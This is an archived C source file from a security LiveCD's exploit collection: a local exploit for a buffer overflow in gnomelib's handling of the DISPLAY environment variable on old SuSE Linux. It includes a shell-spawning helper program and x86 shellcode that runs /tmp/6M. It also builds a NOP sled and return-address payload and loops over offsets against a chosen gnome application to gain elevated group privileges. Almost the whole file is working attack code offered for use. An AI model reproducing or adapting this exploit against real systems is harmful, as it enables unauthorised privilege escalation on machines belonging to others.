home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / gnomelib.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  78 lines

  1. /*
  2. Gnomelib exploit by bladi & aLmUDeNa
  3.  
  4. All gnome apps have an exploitable buffer overflow
  5. (gnomelib) when get DISPLAY environment variable.
  6.  
  7. Affected: S.u.S.E Linux: 6.3
  8.  
  9. Not vulnerable: RedHat 6.x
  10.                 Linpus Linux release 6.3
  11.                 Debian 
  12.                   NoTe:
  13. don't forget to put 6M in /tmp
  14. ---------(6M.c)---------
  15. void main() {
  16.     setuid(geteuid());
  17.     setregid(getegid(), getegid());
  18.     system("/bin/bash");
  19.             }
  20. ---------(6M.c)---------
  21.  
  22. Bueno un saludo a todos los que nos conocen/quieren/odian,
  23. bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*
  24.  
  25.  
  26.                                 bladi@euskalnet.net
  27.                                 almudena@hempcultivation.com
  28. */
  29.   #include <stdio.h>
  30. #include <stdlib.h>
  31. #define NOP                              0x90
  32. #define RANFROM                         -1400
  33. #define RANTO                            -300
  34.  
  35. int i,x;
  36. char *ptr;
  37. unsigned long *ptr2;  
  38. char execshell[] =
  39. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  40. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  41. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
  42. char buffer[164];
  43.  
  44. main(int argc, char *argv[])
  45. {                          long get_sp(void)
  46. {
  47. __asm__("movl %esp,%eax\n");    
  48. }                               
  49. printf (" jpuff    ver: 1.0  \n");
  50. printf ("         by         \n");
  51. printf (" bladi & aLmUDeNa\n\n");
  52. if (argc < 2 )                           
  53.     {
  54.     printf(" Usage ./jpuff <gnome app>\n");  
  55.     printf("    Try: ./jpuff /opt/gnome/bin/sol => you gain
  56. gid=40(game)\n");
  57.     exit(1);
  58.     }
  59. for (x=RANFROM;x<RANTO;x=13+x)
  60.     {
  61.     for(i=0;i<164;i++)
  62.         buffer[i]=0x00;
  63.     ptr=buffer;  
  64.       for(i=0;i<22;i++)
  65.           *(ptr++)=NOP;
  66.     for(i=0;i<strlen(execshell);i++)
  67.           *(ptr++)=execshell[i];
  68.     ptr2=(long *)ptr;
  69.     for(i=0;i<20;i++)           
  70.           *(ptr2++)=get_sp()+x;
  71.      setenv("DISPLAY",buffer,1);  
  72.     system(argv[1]);
  73.     }
  74. printf("\n- --( ExPLoIT DoNE )-- -\n");
  75. printf("Have a lot of fun... ;*\n\n");  
  76. return 0;
  77. }
  78.